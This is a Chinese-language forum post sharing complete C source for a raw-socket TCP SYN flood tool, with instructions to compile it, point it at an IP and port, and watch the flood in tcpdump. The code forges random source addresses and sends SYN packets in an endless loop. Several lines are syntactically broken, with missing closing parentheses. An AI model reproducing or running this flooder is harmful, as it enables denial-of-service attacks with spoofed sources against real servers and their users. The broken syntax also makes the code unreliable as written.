- 论坛徽章:
- 1
|
牛人看看啊!做成二进制文件 ./main ip port tcpdump -n host ip 抓一下包 看看刷屏啊
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int ssock, curc, cnt;
typedef struct psheader { /* rfc 793 tcp pseudo-header */
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short tcpl;
} Pheader;
static unsigned long int
u32random()
{
unsigned long int a=421773L;
unsigned long int b=1711717L;
unsigned long int m=0xfffffffeL;
static unsigned long int ret=0x1234L;
ret=(unsigned long)(a*ret+b)%m;
return ret;
}
/*
Check Sum
This function is "stealed" from Zakath's program
*/
static unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}
void
send_it(struct iphdr *ih, struct tcphdr *th)
{
Pheader ph;
struct sockaddr_in target;
char buf[65536];
int ret;
ph.saddr=ih->saddr;
ph.daddr=ih->daddr;
ph.mbz=0;
ph.ptcl=IPPROTO_TCP;
ph.tcpl=htons(sizeof(*th));
memcpy(buf, &ph, sizeof(ph));
memcpy(buf+sizeof(ph), th, sizeof(*th));
memset(buf+sizeof(ph)+sizeof(*th), 0, 4);
th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+1)&~1);
memcpy(buf, ih, 4*ih->ihl);
memcpy(buf+4*ih->ihl, th, sizeof(*th));
memset(buf+4*ih->ihl+sizeof(*th), 0, 4);
ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th) + 1) & ~1);
memcpy(buf, ih, 4*ih->ihl);
target.sin_family=AF_INET;
target.sin_port=th->dest;
target.sin_addr.s_addr=ih->daddr;
ret=sendto(ssock, buf, 4*ih->ihl + sizeof(*th), 0, (struct sockaddr*)&target, sizeof(target));
if(ret==-1) {
perror("send packet"
exit(1);
}
}
unsigned long
gogogo(unsigned long src, unsigned long dst, unsigned short port)
{
struct iphdr ih;
struct tcphdr th;
struct timeval tv;
ih.version=4;
ih.ihl=5;
ih.tos=0;
ih.tot_len=sizeof(ih)+sizeof(th);
ih.id=u32random();
ih.frag_off=0;
ih.ttl=u32random()%200+2;
ih.protocol=IPPROTO_TCP;
ih.check=0;
ih.saddr=src;
ih.daddr=dst;
th.source=u32random()%30000+1026;
th.dest=htons(port);
th.seq=u32random();
th.doff=sizeof(th)/4;
th.ack_seq=0;
th.res1=0;
th.fin=0;
th.syn=1;
th.rst=0;
th.psh=0;
th.ack=0;
th.urg=0;
th.window=htons(65535);
th.check=0;
th.urg_ptr=0;
gettimeofday(&tv, 0);
send_it(&ih, &th);
while (1) {
gettimeofday(&tv,NULL);
if (tv.tv_usec%3==0)
break;
}
}
int
main(int argc, char **argv)
{
int i;
unsigned short int port;
unsigned long int target;
if(argc<3) {
target=inet_addr("10.0.0.110"
port=htons(80);
} else {
target=inet_addr(argv[1]);
port=ntohs(atoi(argv[2]));
}
port=atoi(argv[2]);
ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(ssock==-1) {
perror("socket"
exit(1);
}
while (1) {
gogogo(u32random(), target, port);
// usleep(1000);
}
} |
|